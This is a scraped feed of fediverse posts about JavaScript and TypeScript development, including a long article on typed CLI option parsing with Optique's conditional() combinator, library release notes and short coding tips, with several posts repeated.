The html5 era badges for web technologies: One is orange and has a 5 in the middle, reads "HTML". Another is blue, has a 3 in the middle, reads CSS. The last one is yellow has the letters JS in the middle, it reads "JS".

@meluzzy@woof.tech

Remember the old , and badges?
These came out around around 15 years ago....
I'm getting old

The html5 era badges for web technologies:
One is orange and has a 5 in the middle, reads "HTML".
Another is blue, has a 3 in the middle, reads CSS.
The last one is yellow has the letters JS in the middle, it reads "JS".
ALT text

The html5 era badges for web technologies: One is orange and has a 5 in the middle, reads "HTML". Another is blue, has a 3 in the middle, reads CSS. The last one is yellow has the letters JS in the middle, it reads "JS".

@fffabiooo@mstdn.ca

Hello world! It's time!

I'm Fabio, a software developer originally from based in Toronto. I work mostly with and but I'm always trying new languages and stacks because why not?

I'm very much an AI skeptic – borderline hater when it comes to AI "art" – but I keep an open mind and I'm very familiar with the available tools (hence the skepticism/hate).

I also make music sometimes - mostly electronic using , , and other bits and pieces, including live drums!

I'm openly , and

@hongminhee@hollo.social

Released Vertana 0.1.0—agentic for /.

Instead of just passing text to an , it autonomously gathers context from linked pages and references to produce translations that actually understand what they're .

github.com

GitHub - dahlia/vertana: LLM-powered agentic translation library for JavaScript/TypeScript

LLM-powered agentic translation library for JavaScript/TypeScript - dahlia/vertana

@hongminhee@hollo.social

Released Vertana 0.1.0—agentic for /.

Instead of just passing text to an , it autonomously gathers context from linked pages and references to produce translations that actually understand what they're .

github.com

GitHub - dahlia/vertana: LLM-powered agentic translation library for JavaScript/TypeScript

LLM-powered agentic translation library for JavaScript/TypeScript - dahlia/vertana

@hongminhee@hollo.social

Released Vertana 0.1.0—agentic for /.

Instead of just passing text to an , it autonomously gathers context from linked pages and references to produce translations that actually understand what they're .

github.com

GitHub - dahlia/vertana: LLM-powered agentic translation library for JavaScript/TypeScript

LLM-powered agentic translation library for JavaScript/TypeScript - dahlia/vertana

@hongminhee@hollo.social

Released Vertana 0.1.0—agentic for /.

Instead of just passing text to an , it autonomously gathers context from linked pages and references to produce translations that actually understand what they're .

github.com

GitHub - dahlia/vertana: LLM-powered agentic translation library for JavaScript/TypeScript

LLM-powered agentic translation library for JavaScript/TypeScript - dahlia/vertana

@hongminhee@hollo.social

Released Vertana 0.1.0—agentic for /.

Instead of just passing text to an , it autonomously gathers context from linked pages and references to produce translations that actually understand what they're .

github.com

GitHub - dahlia/vertana: LLM-powered agentic translation library for JavaScript/TypeScript

LLM-powered agentic translation library for JavaScript/TypeScript - dahlia/vertana

@hongminhee@hollo.social

Released Vertana 0.1.0—agentic for /.

Instead of just passing text to an , it autonomously gathers context from linked pages and references to produce translations that actually understand what they're .

github.com

GitHub - dahlia/vertana: LLM-powered agentic translation library for JavaScript/TypeScript

LLM-powered agentic translation library for JavaScript/TypeScript - dahlia/vertana

@JForg@mastodos.com

押されたキーが何かを調べるのに`keydown`と`keypress`どっち使うのがいいんだったかを高確率で忘れてしまい、つい`keypress`の方を使ってしまってカーソルキーとかが拾えなくてアレっ!?😱ってなって数分時間を無駄にすることがしょっちゅうあるので、誰か絶対迷わずにパッと`keydown`が出てくる方法を教えてください :dosu:

@JForg@mastodos.com

押されたキーが何かを調べるのに`keydown`と`keypress`どっち使うのがいいんだったかを高確率で忘れてしまい、つい`keypress`の方を使ってしまってカーソルキーとかが拾えなくてアレっ!?😱ってなって数分時間を無駄にすることがしょっちゅうあるので、誰か絶対迷わずにパッと`keydown`が出てくる方法を教えてください :dosu:

@toxi@mastodon.thi.ng

A little present (to some of you)... Been meaning to release these recent additions before the holidays, but only getting around to it now. The most important new things are these:

thi.ng/units now includes a Lisp-like formula DSL to combine, calculate and convert quantities and units in a much concise manner than via the normal TypeScript API (see attached examples)

thi.ng/pixel-io-tiff is a new package (only 2.6KB) to provide TIFF image format parsing and EXIF/GPS metadata extraction (without having to parse the image fully). Also includes format conversions for thi.ng/pixel buffers (grayscale 8/16bit, RGB 24/32bit), but only supports most common TIFF features (e.g. tiles, strips, uncompressed or deflate). Supports multiple sub-images... Write support will be released early next year

thi.ng/math now has conversions to/from fractions, using "continued fractions" for best possible precision (also includes recursion-free implementations of GCD & LCM).

thi.ng/binary now provides `DATAVIEW`, a JS-native DataView-like API tailored for using `Uint8Array` or vanilla JS numeric arrays (assuming the array contains u8 values) and accessors for signed/unsigned 8-64bit word sizes and little/big endian ordering.

See main readme for other recent updates:
github.com/thi-ng/umbrella?tab

Screenshot of a section of the thi.ng/units package readme giving an overview of the new formula DSL provided. The included code examples show how to:

- compute weight in grams of A4 paper with 320 grams per square meter
- compute weight in kg of 1/2 inch thick 200x300mm glass plate
- same as previous but using the `glass` density preset 

Direct link: https://github.com/thi-ng/umbrella/tree/develop/packages/units#domain-specific-language
ALT text

Screenshot of a section of the thi.ng/units package readme giving an overview of the new formula DSL provided. The included code examples show how to: - compute weight in grams of A4 paper with 320 grams per square meter - compute weight in kg of 1/2 inch thick 200x300mm glass plate - same as previous but using the `glass` density preset Direct link: https://github.com/thi-ng/umbrella/tree/develop/packages/units#domain-specific-language

@kravietz@agora.echelon.pl

A fun fact from the latest #CloudFlare 2025 - practically all web today is based on #JavaScript frameworks. That is, to load simple “my company is ACME WIDGETS and here’s my phone” majority of pages will first load 145 MB of advanced JavaScript libraries and then make requests to further 50 Google and Amazon trackers to report “someone saw your phone!”, wasting tons of bandwidth, electricity, memory and time.

https://blog.cloudflare.com/radar-2025-year-in-review/#javascript-based-libraries-and-frameworks-remained-integral-tools-for-building-web-sites

JavaScript-based libraries and frameworks remained integral tools for building Web sites
ALT text

JavaScript-based libraries and frameworks remained integral tools for building Web sites

@disjukr@hackers.pub

TL;DR

arr.sort((a, b) => a - b); 보다 sortAsc(arr)가 낫고,
sortAsc(arr) 보다 sort123(arr) 내지는 sortAbc(arr)가 낫다.


arr.sort((a, b) => a - b);

이런 코드를 마주하면 나는 보통 js 콘솔에다가

[3, 2, 1].sort((a, b) => a - b); // [1, 2, 3]

이걸 실행해서 이게 오름차순인지 내림차순인지 확인하곤 한다.

사실 자주 접하는 패턴이라 abab로 적혀있으면 바로 오름차순이라고 읽히긴 하는데 내가 제대로 읽은게 맞나 싶어서 매번 다시 확인한다.

// 오름차순으로 arr 정렬
arr.sort((a, b) => a - b);

이렇게 주석으로 오름차순인지 내림차순인지 언급해주면 좀 낫긴 하지만 나는 사람에 대한 기대가 낮다.

// 오름차순으로 arr 정렬
arr.sort((a, b) => b - a); // ?

원래 오름차순이었던 코드를 누가 내림차순으로 바꾸면서 주석은 안 고쳐놨을지 어떻게 아나.
누군가가 코드를 고쳐놓고 주석 또는 문서는 안 고쳐놓는 경우를 일하면서 수도없이 (오늘도) 마주했다.

이런건 주석보다는 그냥 자신의 동작을 잘 설명하는 이름이 붙은 함수를 만드는게 맞다.

// 실제 코드에서 이렇게 sort asc라고 써있으면 양반이다.
// 보통 사람들은 함수명을 sortBlablaArr 따위로 적어두고
// 그게 오름차순인지 내림차순인지 제 3의 기준인지 언급하지 않는다.
function sortAsc(arr) {
  return [...arr].sort((a, b) => a - b);
}

그런데 나는 sortAsc라는 이름을 보면 바로 감이 확 오지는 않고 대략 머리속에서 이런 절차를 거쳐서 코드를 읽는다.

  1. 풀어서 sort ascending
  2. 한국어로는 오름차순 정렬
  3. 점점 커지는(올라가는) 정렬이겠구나
  4. 1, 2, 3 같이 되겠네

이쯤 되면 사실 나한테는 sortAsc(arr)나 arr.sort((a, b) => a - b)나 해석하는데 오래걸리긴 매한가지다.

그나마 sortAsc(arr) 쪽은 js 콘솔을 열지 않고도 해석할 수 있다는 이점이 있긴 하다.


그래서 나는 사람들이 오름차순 정렬에는 sort123, 내림차순에는 sort321 같은 이름을 사용해줬으면 좋겠다.

앞서 언급한 다른 코드들보다 sort123(arr) 같은 코드가 내 머릿속의 해석 단계를 많이 줄여줄 수 있다.

sort 라는 앞에 단어를 붙이는게 (동어반복이라거나 해서) 부자연스러운 맥락에서 123, 321만 있으면 숫자로 시작하니까 식별자로 사용할 수 없어서 문제라면 abc, cba라는 대안(즉, sortAbc(arr), sortCba(arr))을 제시해본다.

hackers.pub

abab, asc, 123, abc

This post discusses improving code readability when sorting arrays in JavaScript. The author highlights the common practice of using `arr.sort((a, b) => a - b)` for sorting, which can be unclear at a glance, often requiring developers to test the code to confirm the sorting order. While adding comments like "// 오름차순으로 arr 정렬" can help, the author argues that comments can become outdated if the code is modified without updating the comment. The author suggests using descriptive function names like `sortAsc(arr)` to improve clarity, but even this requires some mental processing to understand the sorting order. As a solution, the author proposes using function names such as `sort123(arr)` for ascending order and `sort321(arr)` for descending order, or alternatively, `sortAbc(arr)` and `sortCba(arr)`, to immediately convey the sorting direction, reducing cognitive load and potential misinterpretations. The key takeaway is that choosing more explicit function names can significantly enhance code understanding and maintainability.

@kravietz@agora.echelon.pl

A fun fact from the latest #CloudFlare 2025 - practically all web today is based on #JavaScript frameworks. That is, to load simple “my company is ACME WIDGETS and here’s my phone” majority of pages will first load 145 MB of advanced JavaScript libraries and then make requests to further 50 Google and Amazon trackers to report “someone saw your phone!”, wasting tons of bandwidth, electricity, memory and time.

https://blog.cloudflare.com/radar-2025-year-in-review/#javascript-based-libraries-and-frameworks-remained-integral-tools-for-building-web-sites

JavaScript-based libraries and frameworks remained integral tools for building Web sites
ALT text

JavaScript-based libraries and frameworks remained integral tools for building Web sites

@mnvr@mastodon.social

import { makeNoise2D } from "esm.sh/open-simplex-noise"

let chars = " .:-=+*#%@";
let noise2D = makeNoise2D(42);

let out = "";
for (let y = 0; y < 80; y++) {
let line = "";
for (let x = 0; x < 24; x++) {
let v = noise2D(x * 0.08, y * 0.08);
let n = chars.length;
let idx = Math.floor((v + 1) * 0.5 * (n - 1));
idx = Math.max(0, Math.min(n - 1, idx));
line += chars[idx];
}
out += line + "\n";
}
document.getElementById("out").textContent = out;

OpenSimplex2D
ALT text

OpenSimplex2D

@britter@chaos.social · Reply to Benedikt Ritter (he/him)

🎄 Advent of Donations - Day 19 🎄

It's day 19, Advent of Donations is almost over. Today's donation of $50 go to @astro, the web framework for content-driven websites. Since the beginning of the year I've built three websites using Astro, including my blog. I really love the flexibility and all the integrations.

Learn more about Advent of Donations and Astro in my latest blog update: britter.dev/blog/2025/12/01/ad

britter.dev

Advent of Donations

I've decided to donate to open source projects for each day of December 2025 until Christmas. This blog post lists the projects donated to.

@vanillaweb@intuitivefuture.com

A quick rundown on Invoker Commands by @jaffathecake

We've written about this a lot on the blog and will no doubt have more to say now that the need to polyfill this is quickly starting to fade. It's truly exciting to have a web-native API which can solve the “wire up a click to perform a task” problem.

mastodon.social

Firefox for Web Developers (@firefoxwebdevs@mastodon.social)

Attached: 1 video HTML invoker commands are newly baseline! Here's how they work…

@vanillaweb@intuitivefuture.com

A quick rundown on Invoker Commands by @jaffathecake

We've written about this a lot on the blog and will no doubt have more to say now that the need to polyfill this is quickly starting to fade. It's truly exciting to have a web-native API which can solve the “wire up a click to perform a task” problem.

mastodon.social

Firefox for Web Developers (@firefoxwebdevs@mastodon.social)

Attached: 1 video HTML invoker commands are newly baseline! Here's how they work…

@lobsters@mastodon.social

hackers.pub

Stop writing if statements for your CLI flags

If you've built CLI tools, you've written code like this: if (opts.reporter === "junit" && !opts.outputFile) { throw new Error("--output-file is required for junit reporter");}if (opts.reporter === "html" && !opts.outputFile) { throw new Error("--output-file is required for html reporter");}if (opts.reporter === "console" && opts.outputFile) { console.warn("--output-file is ignored for console reporter");} A few months ago, I wrote Stop writing CLI validation. Parse it right the first time. about parsing individual option values correctly. But it didn't cover the relationships between options. In the code above, --output-file only makes sense when --reporter is junit or html. When it's console, the option shouldn't exist at all. We're using TypeScript. We have a powerful type system. And yet, here we are, writing runtime checks that the compiler can't help with. Every time we add a new reporter type, we need to remember to update these checks. Every time we refactor, we hope we didn't miss one. The state of TypeScript CLI parsers The old guard—Commander, yargs, minimist—were built before TypeScript became mainstream. They give you bags of strings and leave type safety as an exercise for the reader. But we've made progress. Modern TypeScript-first libraries like cmd-ts and Clipanion (the library powering Yarn Berry) take types seriously: // cmd-tsconst app = command({ args: { reporter: option({ type: string, long: 'reporter' }), outputFile: option({ type: string, long: 'output-file' }), }, handler: (args) => { // args.reporter: string // args.outputFile: string },});// Clipanionclass TestCommand extends Command { reporter = Option.String('--reporter'); outputFile = Option.String('--output-file');} These libraries infer types for individual options. --port is a number. --verbose is a boolean. That's real progress. But here's what they can't do: express that --output-file is required when --reporter is junit, and forbidden when --reporter is console. The relationship between options isn't captured in the type system. So you end up writing validation code anyway: handler: (args) => { // Both cmd-ts and Clipanion need this if (args.reporter === "junit" && !args.outputFile) { throw new Error("--output-file required for junit"); } // args.outputFile is still string | undefined // TypeScript doesn't know it's definitely string when reporter is "junit"} Rust's clap and Python's Click have requires and conflicts_with attributes, but those are runtime checks too. They don't change the result type. If the parser configuration knows about option relationships, why doesn't that knowledge show up in the result type? Modeling relationships with conditional() Optique treats option relationships as a first-class concept. Here's the test reporter scenario: import { conditional, object } from "@optique/core/constructs";import { option } from "@optique/core/primitives";import { choice, string } from "@optique/core/valueparser";import { run } from "@optique/run";const parser = conditional( option("--reporter", choice(["console", "junit", "html"])), { console: object({}), junit: object({ outputFile: option("--output-file", string()), }), html: object({ outputFile: option("--output-file", string()), openBrowser: option("--open-browser"), }), });const [reporter, config] = run(parser); The conditional() combinator takes a discriminator option (--reporter) and a map of branches. Each branch defines what other options are valid for that discriminator value. TypeScript infers the result type automatically: type Result = | ["console", {}] | ["junit", { outputFile: string }] | ["html", { outputFile: string; openBrowser: boolean }]; When reporter is "junit", outputFile is string—not string | undefined. The relationship is encoded in the type. Now your business logic gets real type safety: const [reporter, config] = run(parser);switch (reporter) { case "console": runWithConsoleOutput(); break; case "junit": // TypeScript knows config.outputFile is string writeJUnitReport(config.outputFile); break; case "html": // TypeScript knows config.outputFile and config.openBrowser exist writeHtmlReport(config.outputFile); if (config.openBrowser) openInBrowser(config.outputFile); break;} No validation code. No runtime checks. If you add a new reporter type and forget to handle it in the switch, the compiler tells you. A more complex example: database connections Test reporters are a nice example, but let's try something with more variation. Database connection strings: myapp --db=sqlite --file=./data.dbmyapp --db=postgres --host=localhost --port=5432 --user=adminmyapp --db=mysql --host=localhost --port=3306 --user=root --ssl Each database type needs completely different options: SQLite just needs a file path PostgreSQL needs host, port, user, and optionally password MySQL needs host, port, user, and has an SSL flag Here's how you model this: import { conditional, object } from "@optique/core/constructs";import { withDefault, optional } from "@optique/core/modifiers";import { option } from "@optique/core/primitives";import { choice, string, integer } from "@optique/core/valueparser";const dbParser = conditional( option("--db", choice(["sqlite", "postgres", "mysql"])), { sqlite: object({ file: option("--file", string()), }), postgres: object({ host: option("--host", string()), port: withDefault(option("--port", integer()), 5432), user: option("--user", string()), password: optional(option("--password", string())), }), mysql: object({ host: option("--host", string()), port: withDefault(option("--port", integer()), 3306), user: option("--user", string()), ssl: option("--ssl"), }), }); The inferred type: type DbConfig = | ["sqlite", { file: string }] | ["postgres", { host: string; port: number; user: string; password?: string }] | ["mysql", { host: string; port: number; user: string; ssl: boolean }]; Notice the details: PostgreSQL defaults to port 5432, MySQL to 3306. PostgreSQL has an optional password, MySQL has an SSL flag. Each database type has exactly the options it needs—no more, no less. With this structure, writing dbConfig.ssl when the mode is sqlite isn't a runtime error—it's a compile-time impossibility. Try expressing this with requires_if attributes. You can't. The relationships are too rich. The pattern is everywhere Once you see it, you find this pattern in many CLI tools: Authentication modes: const authParser = conditional( option("--auth", choice(["none", "basic", "token", "oauth"])), { none: object({}), basic: object({ username: option("--username", string()), password: option("--password", string()), }), token: object({ token: option("--token", string()), }), oauth: object({ clientId: option("--client-id", string()), clientSecret: option("--client-secret", string()), tokenUrl: option("--token-url", url()), }), }); Deployment targets, output formats, connection protocols—anywhere you have a mode selector that determines what other options are valid. Why conditional() exists Optique already has an or() combinator for mutually exclusive alternatives. Why do we need conditional()? The or() combinator distinguishes branches based on structure—which options are present. It works well for subcommands like git commit vs git push, where the arguments differ completely. But in the reporter example, the structure is identical: every branch has a --reporter flag. The difference lies in the flag's value, not its presence. // This won't work as intendedconst parser = or( object({ reporter: option("--reporter", choice(["console"])) }), object({ reporter: option("--reporter", choice(["junit", "html"])), outputFile: option("--output-file", string()) }),); When you pass --reporter junit, or() tries to pick a branch based on what options are present. Both branches have --reporter, so it can't distinguish them structurally. conditional() solves this by reading the discriminator's value first, then selecting the appropriate branch. It bridges the gap between structural parsing and value-based decisions. The structure is the constraint Instead of parsing options into a loose type and then validating relationships, define a parser whose structure is the constraint. Traditional approachOptique approachParse → Validate → UseParse (with constraints) → UseTypes and validation logic maintained separatelyTypes reflect the constraintsMismatches found at runtimeMismatches found at compile time The parser definition becomes the single source of truth. Add a new reporter type? The parser definition changes, the inferred type changes, and the compiler shows you everywhere that needs updating. Try it If this resonates with a CLI you're building: Documentation Tutorial conditional() reference GitHub Next time you're about to write an if statement checking option relationships, ask: could the parser express this constraint instead? The structure of your parser is the constraint. You might not need that validation code at all.

@lobsters@mastodon.social

hackers.pub

Stop writing if statements for your CLI flags

If you've built CLI tools, you've written code like this: if (opts.reporter === "junit" && !opts.outputFile) { throw new Error("--output-file is required for junit reporter");}if (opts.reporter === "html" && !opts.outputFile) { throw new Error("--output-file is required for html reporter");}if (opts.reporter === "console" && opts.outputFile) { console.warn("--output-file is ignored for console reporter");} A few months ago, I wrote Stop writing CLI validation. Parse it right the first time. about parsing individual option values correctly. But it didn't cover the relationships between options. In the code above, --output-file only makes sense when --reporter is junit or html. When it's console, the option shouldn't exist at all. We're using TypeScript. We have a powerful type system. And yet, here we are, writing runtime checks that the compiler can't help with. Every time we add a new reporter type, we need to remember to update these checks. Every time we refactor, we hope we didn't miss one. The state of TypeScript CLI parsers The old guard—Commander, yargs, minimist—were built before TypeScript became mainstream. They give you bags of strings and leave type safety as an exercise for the reader. But we've made progress. Modern TypeScript-first libraries like cmd-ts and Clipanion (the library powering Yarn Berry) take types seriously: // cmd-tsconst app = command({ args: { reporter: option({ type: string, long: 'reporter' }), outputFile: option({ type: string, long: 'output-file' }), }, handler: (args) => { // args.reporter: string // args.outputFile: string },});// Clipanionclass TestCommand extends Command { reporter = Option.String('--reporter'); outputFile = Option.String('--output-file');} These libraries infer types for individual options. --port is a number. --verbose is a boolean. That's real progress. But here's what they can't do: express that --output-file is required when --reporter is junit, and forbidden when --reporter is console. The relationship between options isn't captured in the type system. So you end up writing validation code anyway: handler: (args) => { // Both cmd-ts and Clipanion need this if (args.reporter === "junit" && !args.outputFile) { throw new Error("--output-file required for junit"); } // args.outputFile is still string | undefined // TypeScript doesn't know it's definitely string when reporter is "junit"} Rust's clap and Python's Click have requires and conflicts_with attributes, but those are runtime checks too. They don't change the result type. If the parser configuration knows about option relationships, why doesn't that knowledge show up in the result type? Modeling relationships with conditional() Optique treats option relationships as a first-class concept. Here's the test reporter scenario: import { conditional, object } from "@optique/core/constructs";import { option } from "@optique/core/primitives";import { choice, string } from "@optique/core/valueparser";import { run } from "@optique/run";const parser = conditional( option("--reporter", choice(["console", "junit", "html"])), { console: object({}), junit: object({ outputFile: option("--output-file", string()), }), html: object({ outputFile: option("--output-file", string()), openBrowser: option("--open-browser"), }), });const [reporter, config] = run(parser); The conditional() combinator takes a discriminator option (--reporter) and a map of branches. Each branch defines what other options are valid for that discriminator value. TypeScript infers the result type automatically: type Result = | ["console", {}] | ["junit", { outputFile: string }] | ["html", { outputFile: string; openBrowser: boolean }]; When reporter is "junit", outputFile is string—not string | undefined. The relationship is encoded in the type. Now your business logic gets real type safety: const [reporter, config] = run(parser);switch (reporter) { case "console": runWithConsoleOutput(); break; case "junit": // TypeScript knows config.outputFile is string writeJUnitReport(config.outputFile); break; case "html": // TypeScript knows config.outputFile and config.openBrowser exist writeHtmlReport(config.outputFile); if (config.openBrowser) openInBrowser(config.outputFile); break;} No validation code. No runtime checks. If you add a new reporter type and forget to handle it in the switch, the compiler tells you. A more complex example: database connections Test reporters are a nice example, but let's try something with more variation. Database connection strings: myapp --db=sqlite --file=./data.dbmyapp --db=postgres --host=localhost --port=5432 --user=adminmyapp --db=mysql --host=localhost --port=3306 --user=root --ssl Each database type needs completely different options: SQLite just needs a file path PostgreSQL needs host, port, user, and optionally password MySQL needs host, port, user, and has an SSL flag Here's how you model this: import { conditional, object } from "@optique/core/constructs";import { withDefault, optional } from "@optique/core/modifiers";import { option } from "@optique/core/primitives";import { choice, string, integer } from "@optique/core/valueparser";const dbParser = conditional( option("--db", choice(["sqlite", "postgres", "mysql"])), { sqlite: object({ file: option("--file", string()), }), postgres: object({ host: option("--host", string()), port: withDefault(option("--port", integer()), 5432), user: option("--user", string()), password: optional(option("--password", string())), }), mysql: object({ host: option("--host", string()), port: withDefault(option("--port", integer()), 3306), user: option("--user", string()), ssl: option("--ssl"), }), }); The inferred type: type DbConfig = | ["sqlite", { file: string }] | ["postgres", { host: string; port: number; user: string; password?: string }] | ["mysql", { host: string; port: number; user: string; ssl: boolean }]; Notice the details: PostgreSQL defaults to port 5432, MySQL to 3306. PostgreSQL has an optional password, MySQL has an SSL flag. Each database type has exactly the options it needs—no more, no less. With this structure, writing dbConfig.ssl when the mode is sqlite isn't a runtime error—it's a compile-time impossibility. Try expressing this with requires_if attributes. You can't. The relationships are too rich. The pattern is everywhere Once you see it, you find this pattern in many CLI tools: Authentication modes: const authParser = conditional( option("--auth", choice(["none", "basic", "token", "oauth"])), { none: object({}), basic: object({ username: option("--username", string()), password: option("--password", string()), }), token: object({ token: option("--token", string()), }), oauth: object({ clientId: option("--client-id", string()), clientSecret: option("--client-secret", string()), tokenUrl: option("--token-url", url()), }), }); Deployment targets, output formats, connection protocols—anywhere you have a mode selector that determines what other options are valid. Why conditional() exists Optique already has an or() combinator for mutually exclusive alternatives. Why do we need conditional()? The or() combinator distinguishes branches based on structure—which options are present. It works well for subcommands like git commit vs git push, where the arguments differ completely. But in the reporter example, the structure is identical: every branch has a --reporter flag. The difference lies in the flag's value, not its presence. // This won't work as intendedconst parser = or( object({ reporter: option("--reporter", choice(["console"])) }), object({ reporter: option("--reporter", choice(["junit", "html"])), outputFile: option("--output-file", string()) }),); When you pass --reporter junit, or() tries to pick a branch based on what options are present. Both branches have --reporter, so it can't distinguish them structurally. conditional() solves this by reading the discriminator's value first, then selecting the appropriate branch. It bridges the gap between structural parsing and value-based decisions. The structure is the constraint Instead of parsing options into a loose type and then validating relationships, define a parser whose structure is the constraint. Traditional approachOptique approachParse → Validate → UseParse (with constraints) → UseTypes and validation logic maintained separatelyTypes reflect the constraintsMismatches found at runtimeMismatches found at compile time The parser definition becomes the single source of truth. Add a new reporter type? The parser definition changes, the inferred type changes, and the compiler shows you everywhere that needs updating. Try it If this resonates with a CLI you're building: Documentation Tutorial conditional() reference GitHub Next time you're about to write an if statement checking option relationships, ask: could the parser express this constraint instead? The structure of your parser is the constraint. You might not need that validation code at all.

@lobsters@mastodon.social

hackers.pub

Stop writing if statements for your CLI flags

If you've built CLI tools, you've written code like this: if (opts.reporter === "junit" && !opts.outputFile) { throw new Error("--output-file is required for junit reporter");}if (opts.reporter === "html" && !opts.outputFile) { throw new Error("--output-file is required for html reporter");}if (opts.reporter === "console" && opts.outputFile) { console.warn("--output-file is ignored for console reporter");} A few months ago, I wrote Stop writing CLI validation. Parse it right the first time. about parsing individual option values correctly. But it didn't cover the relationships between options. In the code above, --output-file only makes sense when --reporter is junit or html. When it's console, the option shouldn't exist at all. We're using TypeScript. We have a powerful type system. And yet, here we are, writing runtime checks that the compiler can't help with. Every time we add a new reporter type, we need to remember to update these checks. Every time we refactor, we hope we didn't miss one. The state of TypeScript CLI parsers The old guard—Commander, yargs, minimist—were built before TypeScript became mainstream. They give you bags of strings and leave type safety as an exercise for the reader. But we've made progress. Modern TypeScript-first libraries like cmd-ts and Clipanion (the library powering Yarn Berry) take types seriously: // cmd-tsconst app = command({ args: { reporter: option({ type: string, long: 'reporter' }), outputFile: option({ type: string, long: 'output-file' }), }, handler: (args) => { // args.reporter: string // args.outputFile: string },});// Clipanionclass TestCommand extends Command { reporter = Option.String('--reporter'); outputFile = Option.String('--output-file');} These libraries infer types for individual options. --port is a number. --verbose is a boolean. That's real progress. But here's what they can't do: express that --output-file is required when --reporter is junit, and forbidden when --reporter is console. The relationship between options isn't captured in the type system. So you end up writing validation code anyway: handler: (args) => { // Both cmd-ts and Clipanion need this if (args.reporter === "junit" && !args.outputFile) { throw new Error("--output-file required for junit"); } // args.outputFile is still string | undefined // TypeScript doesn't know it's definitely string when reporter is "junit"} Rust's clap and Python's Click have requires and conflicts_with attributes, but those are runtime checks too. They don't change the result type. If the parser configuration knows about option relationships, why doesn't that knowledge show up in the result type? Modeling relationships with conditional() Optique treats option relationships as a first-class concept. Here's the test reporter scenario: import { conditional, object } from "@optique/core/constructs";import { option } from "@optique/core/primitives";import { choice, string } from "@optique/core/valueparser";import { run } from "@optique/run";const parser = conditional( option("--reporter", choice(["console", "junit", "html"])), { console: object({}), junit: object({ outputFile: option("--output-file", string()), }), html: object({ outputFile: option("--output-file", string()), openBrowser: option("--open-browser"), }), });const [reporter, config] = run(parser); The conditional() combinator takes a discriminator option (--reporter) and a map of branches. Each branch defines what other options are valid for that discriminator value. TypeScript infers the result type automatically: type Result = | ["console", {}] | ["junit", { outputFile: string }] | ["html", { outputFile: string; openBrowser: boolean }]; When reporter is "junit", outputFile is string—not string | undefined. The relationship is encoded in the type. Now your business logic gets real type safety: const [reporter, config] = run(parser);switch (reporter) { case "console": runWithConsoleOutput(); break; case "junit": // TypeScript knows config.outputFile is string writeJUnitReport(config.outputFile); break; case "html": // TypeScript knows config.outputFile and config.openBrowser exist writeHtmlReport(config.outputFile); if (config.openBrowser) openInBrowser(config.outputFile); break;} No validation code. No runtime checks. If you add a new reporter type and forget to handle it in the switch, the compiler tells you. A more complex example: database connections Test reporters are a nice example, but let's try something with more variation. Database connection strings: myapp --db=sqlite --file=./data.dbmyapp --db=postgres --host=localhost --port=5432 --user=adminmyapp --db=mysql --host=localhost --port=3306 --user=root --ssl Each database type needs completely different options: SQLite just needs a file path PostgreSQL needs host, port, user, and optionally password MySQL needs host, port, user, and has an SSL flag Here's how you model this: import { conditional, object } from "@optique/core/constructs";import { withDefault, optional } from "@optique/core/modifiers";import { option } from "@optique/core/primitives";import { choice, string, integer } from "@optique/core/valueparser";const dbParser = conditional( option("--db", choice(["sqlite", "postgres", "mysql"])), { sqlite: object({ file: option("--file", string()), }), postgres: object({ host: option("--host", string()), port: withDefault(option("--port", integer()), 5432), user: option("--user", string()), password: optional(option("--password", string())), }), mysql: object({ host: option("--host", string()), port: withDefault(option("--port", integer()), 3306), user: option("--user", string()), ssl: option("--ssl"), }), }); The inferred type: type DbConfig = | ["sqlite", { file: string }] | ["postgres", { host: string; port: number; user: string; password?: string }] | ["mysql", { host: string; port: number; user: string; ssl: boolean }]; Notice the details: PostgreSQL defaults to port 5432, MySQL to 3306. PostgreSQL has an optional password, MySQL has an SSL flag. Each database type has exactly the options it needs—no more, no less. With this structure, writing dbConfig.ssl when the mode is sqlite isn't a runtime error—it's a compile-time impossibility. Try expressing this with requires_if attributes. You can't. The relationships are too rich. The pattern is everywhere Once you see it, you find this pattern in many CLI tools: Authentication modes: const authParser = conditional( option("--auth", choice(["none", "basic", "token", "oauth"])), { none: object({}), basic: object({ username: option("--username", string()), password: option("--password", string()), }), token: object({ token: option("--token", string()), }), oauth: object({ clientId: option("--client-id", string()), clientSecret: option("--client-secret", string()), tokenUrl: option("--token-url", url()), }), }); Deployment targets, output formats, connection protocols—anywhere you have a mode selector that determines what other options are valid. Why conditional() exists Optique already has an or() combinator for mutually exclusive alternatives. Why do we need conditional()? The or() combinator distinguishes branches based on structure—which options are present. It works well for subcommands like git commit vs git push, where the arguments differ completely. But in the reporter example, the structure is identical: every branch has a --reporter flag. The difference lies in the flag's value, not its presence. // This won't work as intendedconst parser = or( object({ reporter: option("--reporter", choice(["console"])) }), object({ reporter: option("--reporter", choice(["junit", "html"])), outputFile: option("--output-file", string()) }),); When you pass --reporter junit, or() tries to pick a branch based on what options are present. Both branches have --reporter, so it can't distinguish them structurally. conditional() solves this by reading the discriminator's value first, then selecting the appropriate branch. It bridges the gap between structural parsing and value-based decisions. The structure is the constraint Instead of parsing options into a loose type and then validating relationships, define a parser whose structure is the constraint. Traditional approachOptique approachParse → Validate → UseParse (with constraints) → UseTypes and validation logic maintained separatelyTypes reflect the constraintsMismatches found at runtimeMismatches found at compile time The parser definition becomes the single source of truth. Add a new reporter type? The parser definition changes, the inferred type changes, and the compiler shows you everywhere that needs updating. Try it If this resonates with a CLI you're building: Documentation Tutorial conditional() reference GitHub Next time you're about to write an if statement checking option relationships, ask: could the parser express this constraint instead? The structure of your parser is the constraint. You might not need that validation code at all.

@amake@mastodon.social

I see various and libraries offering functions for detecting kanji characters, but they almost always do this in a limited way that misses a huge number of characters, i.e. nothing beyond the BMP, or even missing ranges in the BMP.

The only way to do this right is to

1. Work with codepoints, not UTF-16 code units

2. Look at the Unicode script property, which should be `Han` for kanji/hanzi

@amake@mastodon.social

I see various and libraries offering functions for detecting kanji characters, but they almost always do this in a limited way that misses a huge number of characters, i.e. nothing beyond the BMP, or even missing ranges in the BMP.

The only way to do this right is to

1. Work with codepoints, not UTF-16 code units

2. Look at the Unicode script property, which should be `Han` for kanji/hanzi

@lobsters@mastodon.social

I couldn't find a logging library that worked for my library, so I made one lobste.rs/s/ouph7k
hackers.pub/@hongminhee/2025/l

hackers.pub

I couldn't find a logging library that worked for my library, so I made one

